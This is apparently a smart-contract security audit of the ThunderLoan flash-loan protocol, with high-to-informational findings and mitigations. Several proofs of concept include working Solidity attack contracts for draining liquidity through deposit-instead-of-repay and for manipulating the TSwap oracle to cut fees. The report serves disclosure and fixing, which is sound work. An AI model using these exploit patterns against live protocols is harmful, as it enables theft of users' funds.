Thunder Loan Audit Report

Version 1.0

Cemerian

March 9, 2026

Thunder Loan Audit Report

Cemerian

March 6, 2023

Prepared by: Cemerian Lead Auditors: - Cemerian

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium
- Low
- Informational

Protocol Summary

ThunderLoan is a flash loan protocol that allows liquidity providers to deposit ERC20 tokens and earn interest from flash loan fees. Users can borrow any amount of supported tokens as long as they repay

the principal plus a fee within the same transaction. The protocol uses TSwap as a price oracle for fee calculation and follows a UUPS upgradeable proxy pattern.

Disclaimer

The Cemerian team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- Solc Version: 0.8.20
- Chain(s) to deploy to: Ethereum

Scope

```
src/├──
 interfaces/│├──
    IFlashLoanReceiver.sol│├──
```

```
    IPoolFactory.sol│├──
    ITSwapPool.sol│└──
    IThunderLoan.sol├──
protocol/│├──
    AssetToken.sol│├──
    OracleUpgradeable.sol│└──
    ThunderLoan.sol└──
upgradedProtocol/└──
     ThunderLoanUpgraded.sol
```

Roles

- **Owner**: The owner of the protocol who has the power to upgrade the implementation, allowlist tokens, and set flash loan fees.
- **Liquidity Provider**: A user who deposits assets into the protocol to earn interest from flash loan fees.
- **User**: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	2
Informational	7
Total	**16**

Findings

High

[H-1] `ThunderLoan::deposit` erroneously updates the exchange rate with a fee calculation, inflating the `AssetToken` exchange rate on every deposit

Description

In the `deposit` function, after minting asset tokens to the depositor, `getCalculatedFee` is called on the deposited amount and the result is passed to `assetToken.updateExchangeRate`. This logic belongs in the `flashloan` function (where it already exists), not in `deposit`. Every deposit artificially increases the exchange rate as though a flash loan fee was collected, even though no fee was actually earned.

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact

The exchange rate is inflated on every deposit, causing the `AssetToken` to report a higher underlying value than actually exists. This means: 1. Existing liquidity providers appear to have more redeemable value than the contract holds, leading to later depositors or redeemers being short-changed. 2. The redemption math (`amountUnderlying = amountOfAssetToken * exchangeRate / PRECISION`) will compute amounts that exceed the actual underlying balance, potentially causing redemptions to revert or drain funds unfairly. 3. Flash loan fee accounting becomes inaccurate since the exchange rate no longer reflects only real fee income.

Proof of Concepts

Proof of Code

Place the following test in `test/unit/ThunderLoanTest.t.sol`:

```
    function testRedeem() public setAllowedToken hasDeposits(){
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

The liquidity provider deposits via the `hasDeposits` modifier, which inflates the exchange rate due to the erroneous fee calculation in `deposit`. After a flash loan is taken and repaid with fees, the liquidity provider attempts to redeem all their asset tokens. Because the exchange rate was artificially inflated during deposit, the computed `amountUnderlying` exceeds the actual underlying balance held by the `AssetToken` contract, causing the redemption to revert.

Run with: `forge test --mt testRedeem -vvvv`

Recommended mitigation

Remove the fee calculation and exchange rate update from the `deposit` function. The exchange rate should only be updated in `flashloan` when actual fees are collected.

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] `ThunderLoan::flashloan` can be repaid using `deposit` instead of `repay`, allowing an attacker to steal funds by exploiting the exchange rate inflation

Description

The `flashloan` function only checks that the `AssetToken` contract's ending balance is at least `startingBalance + fee`. It does not enforce *how* the tokens are returned. An attacker can call `deposit` inside the flash loan callback instead of `repay`, which:

1. Returns the borrowed tokens to the `AssetToken` (satisfying the balance check).
2. Mints `AssetToken` shares to the attacker.
3. Erroneously inflates the exchange rate via the bug in `deposit` (H-1).

The attacker then calls `redeem` to withdraw more underlying tokens than they deposited, extracting value from the protocol.

```
    uint256 endingBalance = token.balanceOf(address(assetToken));
@>  if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee,
            endingBalance);
    }
```

Impact

An attacker can take a flash loan, deposit instead of repaying, receive asset tokens at the inflated exchange rate, and redeem them for more underlying than they put in. This drains funds from legitimate liquidity providers.

Proof of Concepts

Proof of Code

Place the following test in `test/unit/ThunderLoanTest.t.sol` and the `DepositOverRepay` contract outside the test contract:

```
    function testUseDepositInsteadOfRepay () public setAllowedToken
        hasDeposits{
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
```

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
```

```
    IERC20 s_token;
    constructor(address _thunderLoan){
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
    }
    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

The attacker borrows 50e18 tokens, deposits `amount + fee` back via `deposit` (instead of `repay`), receives asset tokens, then redeems them. The final balance is greater than `50e18 + fee` due to the inflated exchange rate, proving the attacker extracted value.

Run with: `forge test --mt testUseDepositInsteadOfRepay -vvvv`

Recommended mitigation

Prevent deposits while a flash loan is active for the given token:

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+       if (s_currentlyFlashLoaning[token]) {
+           revert ThunderLoan__CurrentlyFlashLoaning();
+       }
        AssetToken assetToken = s_tokenToAssetToken[token];
        // ...
    }
```

[H-3] `ThunderLoan::getCalculatedFee` uses TSwap price oracle which can be manipulated to obtain flash loans with drastically reduced fees

Description

The flash loan fee is calculated using the TSwap pool's `getPriceOfOnePoolTokenInWeth` as a price oracle. TSwap is an AMM, and its spot price can be manipulated within a single transaction by swapping a large amount of tokens into the pool. An attacker can:

1. Take a flash loan of tokenA.
2. Swap tokenA into the TSwap pool, tanking its WETH price.
3. Take a second flash loan of tokenA at the now-reduced fee (since `getPriceInWeth` returns a lower value).
4. Repay both flash loans, having paid far less in fees than intended.

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view
        returns (uint256 fee) {
@>      uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
    (token))) / s_feePrecision;
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

Additionally, the fee is calculated using the token's WETH price but the user pays in the borrowed token itself, meaning the fee amount in tokens does not correspond to a fixed percentage of the borrowed amount — it fluctuates with the WETH price.

Impact

An attacker can manipulate the TSwap oracle to reduce the flash loan fee to near zero, depriving liquidity providers of their earned fees. The protocol's revenue model is fundamentally broken when relying on a manipulable spot price oracle.

Proof of Concepts

Proof of Code

Place the following test in `test/unit/ThunderLoanTest.t.sol` and the `MaliciousFlashLoan` contract outside the test contract:

```
    function testOracleManipulation() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
```

```
        weth.approve(address(tswapPool), 100e18);

        BuffMockTSwap(tswapPool).deposit(100e18,100e18,100e18,block.
            timestamp);
        vm.stopPrank();
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA,true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA,1000e18);
        vm.stopPrank();

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console2.log("Normal fee cost: ", normalFeeCost);

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoan mfl = new MaliciousFlashLoan(
            address(tswapPool), address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(mfl), 100e18);
        thunderLoan.flashloan(address(mfl), tokenA, 50e18, "");
        vm.stopPrank();

        uint256 attackFee = mfl.fee1() + mfl.fee2();
        console2.log("AttackFee: ", attackFee);
        assert(attackFee < normalFeeCost);
    }
```

```
contract MaliciousFlashLoan is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public fee1;
    uint256 public fee2;
    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress){
        tswapPool = BuffMockTSwap(_tswapPool);
        repayAddress = _repayAddress;
        thunderLoan = ThunderLoan(_thunderLoan);
        attacked = false;
    }

    function executeOperation(
        address token,
        uint256 amount,
```

```
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        returns (bool)
    {
        if (!attacked){
            fee1 = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
                50e18, 100e18, 100e18
            );
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
                50e18, wethBought, block.timestamp
            );
            thunderLoan.flashloan(address(this), IERC20(token), amount, ""
                );
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }else{
            fee2 = fee;
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

The attacker takes a first flash loan (fee1), swaps tokenA into TSwap to tank the price, then takes a second flash loan at the reduced price (fee2). The total fees paid (`fee1 + fee2`) are less than the normal fee for borrowing `100e18` tokens.

Run with: `forge test --mt testOracleManipulation -vvvv`

Recommended mitigation

Use a decentralized price oracle with TWAP (time-weighted average price) such as Chainlink price feeds instead of relying on TSwap's spot price, which can be manipulated within a single transaction.

[H-4] `ThunderLoanUpgraded` changes storage layout causing storage collision when upgrading from `ThunderLoan`, corrupting `s_flashLoanFee`

Description

In `ThunderLoan`, the storage layout is:

```
slot 0: s_tokenToAssetToken (mapping)
slot 1: s_feePrecision
slot 2: s_flashLoanFee
slot 3: s_currentlyFlashLoaning (mapping)
```

In `ThunderLoanUpgraded`, `s_feePrecision` is removed and replaced with a `constant` (`FEE_PRECISION`), and `s_flashLoanFee` is moved up:

```
slot 0: s_tokenToAssetToken (mapping)
slot 1: s_flashLoanFee       <-- was s_feePrecision (1e18)
slot 2: FEE_PRECISION         <-- constant, not in storage
slot 3: s_currentlyFlashLoaning (mapping)
```

After the upgrade, `s_flashLoanFee` now reads from storage slot 1, which previously held `s_feePrecision = 1e18`. This means the flash loan fee jumps from `3e15` (0.3%) to `1e18` (100%).

Impact

After upgrading, the flash loan fee becomes `1e18` instead of `3e15`, making flash loans prohibitively expensive (effectively 100% fee). The `s_currentlyFlashLoaning` mapping also shifts by one slot, breaking all flash loan state tracking.

Proof of Concepts

Proof of Code

Place the following test in `test/unit/ThunderLoanTest.t.sol`:

```
    function testUpgradeBreaksStorage() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        vm.stopPrank();
        console2.log("Fee before: ", feeBeforeUpgrade);
        console2.log("Fee after: ", thunderLoan.getFee());
        assert(thunderLoan.getFee() != feeBeforeUpgrade);
    }
```

The test shows that `getFee()` returns a different value after the upgrade, proving the storage collision.

Run with: `forge test --mt testUpgradeBreaksStorage -vvvv`

Recommended mitigation

Preserve the storage layout in `ThunderLoanUpgraded`. If `s_feePrecision` is no longer needed as a storage variable, keep it as an unused placeholder to maintain slot alignment, or use a storage

gap:

```
    mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
+   uint256 private s_feePrecision; // kept for storage layout compatibility
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION = 1e18;
    mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

Medium

[M-1] `ThunderLoan::getCalculatedFee` calculates the fee value in WETH but charges the user in the borrowed token, resulting in incorrect fee amounts

Description

The fee calculation converts the borrowed amount to its WETH value using the TSwap oracle, then applies the fee percentage. However, the user repays the fee in the borrowed token, not in WETH. This means the fee amount in tokens does not represent a consistent percentage of the borrowed amount — it depends on the token's current WETH price.

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
@>      uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

For example, if 1 tokenA = 1 WETH, the fee for borrowing 100 tokenA is `100 * 1 * 0.003 = 0.3 tokenA`. But if 1 tokenA = 0.5 WETH, the fee becomes `100 * 0.5 * 0.003 = 0.15 tokenA`. The percentage of the borrowed amount changes depending on the token's price.

Impact

The fee is not a consistent percentage of the borrowed amount. Tokens with lower WETH prices pay proportionally less in fees, and vice versa. This creates an inconsistent and unpredictable fee structure for users and liquidity providers.

Recommended mitigation

Either charge the fee directly as a percentage of the borrowed token amount (removing the WETH conversion), or collect the fee in WETH:

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view
        returns (uint256 fee) {
-       uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
    (token))) / s_feePrecision;
-       fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
+       fee = (amount * s_flashLoanFee) / s_feePrecision;
    }
```

[M-2] `ThunderLoan::updateFlashLoanFee` does not emit an event, making off-chain monitoring of fee changes impossible

Description

The `updateFlashLoanFee` function updates `s_flashLoanFee` without emitting an event. Fee changes are critical protocol parameters that users and liquidity providers need to track.

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
@>      s_flashLoanFee = newFee;
    }
```

Impact

Users and off-chain monitoring tools cannot detect fee changes without polling the contract. This reduces transparency for liquidity providers who need to evaluate protocol profitability.

Recommended mitigation

```
+   event FlashLoanFeeUpdated(uint256 newFee);

    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

[M-3] `ThunderLoan::initialize` can be front-run by an attacker, taking ownership of the proxy

Description

The `initialize` function is an external function protected only by the `initializer` modifier. After deployment of the proxy, anyone can call `initialize` before the deployer does, setting themselves as the owner and providing a malicious `tswapAddress`.

Impact

An attacker who front-runs the `initialize` call becomes the owner of the protocol, gaining the ability to upgrade the contract, set allowed tokens, and change fees. The deployer would need to redeploy.

Recommended mitigation

Call `initialize` in the same transaction as the proxy deployment by passing the initialization calldata to the `ERC1967Proxy` constructor:

```
proxy = new ERC1967Proxy(
    address(thunderLoan),
    abi.encodeCall(ThunderLoan.initialize, (tswapAddress))
);
```

Low

[L-1] `AssetToken::updateExchangeRate` will revert with division by zero if `totalSupply` is 0

Description

The exchange rate formula divides by `totalSupply()`. If all asset tokens have been burned (or none minted), this causes a division by zero revert.

```
@>  uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
    totalSupply();
```

Impact

If a flash loan is taken when the asset token supply is zero, the transaction will revert. This is an edge case since flash loans require deposited liquidity, but could occur if all liquidity providers redeem before a pending flash loan callback resolves.

Recommended mitigation

Add a check for `totalSupply()== 0` before the calculation.

[L-2] `ThunderLoan::s_feePrecision` is stored in a storage variable but never changes, wasting gas

Description

`s_feePrecision` is set to `1e18` in `initialize` and never modified. It should be a `constant` to save gas on every read. This is also the root cause of the storage collision in the upgrade (see H-4).

```
@>  uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

Impact

Unnecessary gas consumption on every call to `getCalculatedFee` and `updateFlashLoanFee` due to SLOAD instead of inline constant.

Recommended mitigation

```
-   uint256 private s_feePrecision;
+   uint256 private constant FEE_PRECISION = 1e18;
```

Note: if changing this in `ThunderLoan` directly, ensure the upgraded contract preserves the storage layout (see H-4).

Informational

[I-1] `IFlashLoanReceiver` has an unused import of `IThunderLoan`

Description

`IFlashLoanReceiver.sol` imports `IThunderLoan` but never uses it.

```
@> import { IThunderLoan } from "./IThunderLoan.sol";
```

Recommended mitigation

Remove the unused import.

[I-2] `ThunderLoan` contract does not implement the `IThunderLoan` interface

Description

The `IThunderLoan` interface defines `repay(address token, uint256 amount)` but `ThunderLoan` never declares that it implements this interface. The `repay` function signature also differs (`IERC20 token` vs `address token`).

Recommended mitigation

Either implement the interface or update it to match the actual function signatures.

[I-3] Missing natspec documentation on multiple functions

Description

Several functions lack natspec documentation: `deposit`, `flashloan`, `setAllowedToken`, and `IFlashLoanReceiver::executeOperation`.

Recommended mitigation

Add `@notice`, `@param`, and `@return` natspec tags to all public/external functions.

[I-4] Magic numbers used in `ThunderLoan::initialize`

Description

The values `1e18` and `3e15` are used directly without named constants.

```
    s_feePrecision = 1e18;
    s_flashLoanFee = 3e15;
```

Recommended mitigation

Define named constants for these values.

[I-5] `OracleUpgradeable::__Oracle_init_unchained` missing zero address check for `poolFactoryAddress`

Description

The pool factory address is set without validating it is not the zero address. A misconfigured pool factory would cause all price lookups to revert.

Recommended mitigation

Add a zero address check:

```
    function __Oracle_init_unchained(address poolFactoryAddress) internal onlyInitializing {
+       if (poolFactoryAddress == address(0)) revert OracleUpgradeable__ZeroAddress();
        s_poolFactory = poolFactoryAddress;
    }
```

[I-6] `ThunderLoan::getAssetFromToken` should be declared `external` instead of `public`

Description

`getAssetFromToken` is not called internally and should be `external` for gas efficiency and clarity.

Recommended mitigation

Change **`public`** to `external`.

[I-7] `AssetToken::updateExchangeRate` has excessive storage reads

Description

`s_exchangeRate` is read from storage multiple times in `updateExchangeRate`. A local memory variable should be used to cache the value.

Recommended mitigation

```
    function updateExchangeRate(uint256 fee) external onlyThunderLoan {
+       uint256 currentExchangeRate = s_exchangeRate;
-       uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
+       uint256 newExchangeRate = currentExchangeRate * (totalSupply() + fee) / totalSupply();
-       if (newExchangeRate <= s_exchangeRate) {
-           revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
+       if (newExchangeRate <= currentExchangeRate) {
+           revert AssetToken__ExhangeRateCanOnlyIncrease(currentExchangeRate, newExchangeRate);
        }
        s_exchangeRate = newExchangeRate;
        emit ExchangeRateUpdated(s_exchangeRate);
    }
```